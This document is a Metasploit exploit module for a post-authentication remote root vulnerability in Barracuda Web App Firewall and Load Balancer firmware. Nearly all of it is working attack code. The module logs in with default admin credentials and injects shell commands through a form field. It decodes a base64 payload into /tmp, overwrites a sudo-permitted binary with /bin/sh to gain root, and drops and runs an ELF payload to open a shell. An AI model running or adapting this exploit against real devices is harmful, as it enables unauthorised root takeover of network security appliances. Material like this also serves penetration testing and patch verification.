Barracuda Web App Firewall/Load Balancer Post Auth Remote Root Exploit (3)

`# Exploit Title: Barracuda Web App Firewall/Load Balancer Post Auth Remote Root Exploit (3)  
# Date: 07/28/16  
# Exploit Author: xort [email protected]  
# Vendor Homepage: https://www.barracuda.com/  
# Software Link: https://www.barracuda.com/products/loadbalance & https://www.barracuda.com/products/webapplicationfirewall  
# Version: Load Balancer Firmware <= v5.4.0.004 (2015-11-26) & Web App Firewall Firmware <= 8.0.1.008 (2016-03-22)  
# Tested on: Load Balancer Firmware <= v5.4.0.004 (2015-11-26) & Web App Firewall Firmware <= v8.0.1.008 (2016-03-22)  
# CVE : None.  
  
# vuln: UPDATE_va_other_options trigger exploit  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Exploit::Remote::Tcp  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Barracuda Web App Firewall/Load Balancer Post Auth Remote Root Exploit (3)',  
'Description' => %q{  
This module exploits a remote command execution vulnerability in the Barracuda Web App Firewall  
Firmware Version <= 8.0.1.008 and Load Balancer Firmware <= v5.4.0.004 by exploiting a vulnerability   
in the web administration interface. By sending a specially crafted request it's possible to inject   
system commands while escalating to root do to relaxed sudo configurations on the applianaces.   
},  
'Author' =>  
[  
'xort', # vuln + metasploit module  
],  
'Version' => '$Revision: 2 $',  
'References' =>  
[  
[ 'none', 'none'],  
],  
'Platform' => [ 'linux'],  
'Privileged' => true,  
'Arch' => [ ARCH_X86 ],  
'SessionTypes' => [ 'shell' ],  
'Privileged' => false,  
  
'Payload' =>  
{   
'Compat' =>  
{  
'ConnectionType' => 'find',  
}  
},  
  
'Targets' =>  
[  
['Barracuda Web App Firewall Firmware Version <= 8.0.1.008 (2016-03-22)',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'linux',  
'SudoCmdExec' => "/home/product/code/firmware/current/bin/config_agent_wrapper.pl"  
}  
],  
  
['Barracuda Load Balancer Firmware <= v5.4.0.004 (2015-11-26)',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'linux',  
'SudoCmdExec' => "/home/product/code/firmware/current/bin/rdpd"  
}  
],  
],  
  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('PASSWORD', [ false, 'Device password', "" ]),   
OptString.new('ET', [ false, 'Device password', "" ]),  
OptString.new('USERNAME', [ true, 'Device password', "admin" ]),   
OptString.new('CMD', [ false, 'Command to execute', "" ]),   
Opt::RPORT(8000),  
], self.class)  
end  
  
def do_login(username, password_clear, et)  
vprint_status( "Logging into machine with credentials...\n" )  
  
# vars  
timeout = 1550;  
enc_key = Rex::Text.rand_text_hex(32)  
  
# send request   
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => "/cgi-mod/index.cgi",  
'headers' =>   
{  
'Accept' => "application/json, text/javascript, */*; q=0.01",  
'Content-Type' => "application/x-www-form-urlencoded",  
'X-Requested-With' => "XMLHttpRequest"  
},  
'vars_post' =>  
{  
  
'enc_key' => enc_key,  
'et' => et,  
'user' => "admin", # username,  
'password' => "admin", # password_clear,  
'enctype' => "none",  
'password_entry' => "",  
'login_page' => "1",  
'login_state' => "out",  
'real_user' => "",  
'locale' => "en_US",  
'form' => "f",  
'Submit' => "Sign in",  
}  
}, timeout)  
  
# get rid of first yank   
password = res.body.split('\n').grep(/(.*)password=([^&]+)&/){$2}[0] #change to match below for more exact result  
et = res.body.split('\n').grep(/(.*)et=([^&]+)&/){$2}[0]  
  
return password, et  
end  
  
def run_command(username, password, et, cmd)  
vprint_status( "Running Command...\n" )  
  
# file to replace  
sudo_cmd_exec = target['SudoCmdExec']  
#sudo_cmd_exec = "/home/product/code/firmware/current/bin/config_agent_wrapper.pl"  
#sudo_cmd_exec = "/home/product/code/firmware/current/bin/rdpd"  
  
sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}"  
sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c "  
  
# random filename to dump too + 'tmp' HAS to be here.  
b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))  
  
vprint_status(" file = " + b64dumpfile)  
  
# decoder stubs - tells 'base64' command to decode and dump data to temp file  
b64decode1 = "echo \""  
b64decode2 = "\" | base64 -d >" + b64dumpfile  
  
# base64 - encode with base64 so we can send special chars and multiple lines  
cmd = Base64.strict_encode64(cmd)  
  
# Create injection string.  
# a) package the base64 decoder with encoded bytes  
# b) attach a chmod +x request to make the script created (b64dumpfile) executable  
# c) execute decoded base64 dumpfile  
  
injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile # + " ; rm " + b64dumpfile  
  
exploitreq = [  
[ "auth_type","Local" ],  
[ "et",et ],  
[ "locale","en_US" ],  
[ "password", password ],  
[ "primary_tab", "ADVANCE" ],  
[ "realm","" ],  
[ "secondary_tab","advanced_system" ],  
[ "user", username ],  
[ "timestamp", Time.now.to_i ],  
  
[ "UPDATE_va_other_options", "1" ],  
[ "UPDATE_scan_information_in_use", "xx; #{injection_string}" ] # vuln  
  
]  
  
boundary = "---------------------------" + Rex::Text.rand_text_numeric(34)  
  
post_data = ""  
  
exploitreq.each do |xreq|  
post_data << "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"  
post_data << "#{xreq[1]}\r\n"  
end  
post_data << "--#{boundary}--\r\n"  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "/cgi-mod/index.cgi",  
'ctype' => "multipart/form-data; boundary=#{boundary}",  
'data' => post_data,  
'headers' =>   
{  
'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",  
}  
})   
  
end  
  
def run_script(username, password, et, cmds)  
vprint_status( "running script...\n")  
  
  
end  
  
def exploit  
# timeout  
timeout = 1550;  
  
user = "admin"  
  
# params  
real_user = "";  
login_state = "out"  
et = Time.now.to_i  
locale = "en_US"  
user = "admin"  
password = "admin"  
enctype = "MD5"  
password_entry = ""  
password_clear = "admin"  
  
if not datastore['PASSWORD'].nil? and not datastore['PASSWORD'].empty?  
  
password_clear = datastore['PASSWORD']  
password = datastore['PASSWORD']  
# et = datastore['ET']   
end  
  
password_hash, et = do_login(user, password_clear, et)  
vprint_status("new password: #{password_hash} et: #{et}\n")  
  
sleep(5)  
  
  
#if no 'CMD' string - add code for root shell  
if not datastore['CMD'].nil? and not datastore['CMD'].empty?  
  
cmd = datastore['CMD']  
  
# Encode cmd payload  
encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')  
  
# kill stale calls to bdump from previous exploit calls for re-use  
run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))  
else  
# Encode payload to ELF file for deployment  
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)  
encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')  
  
run_command(user, password_hash, et, ("printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))  
handler  
end  
  
  
end  
  
end  
`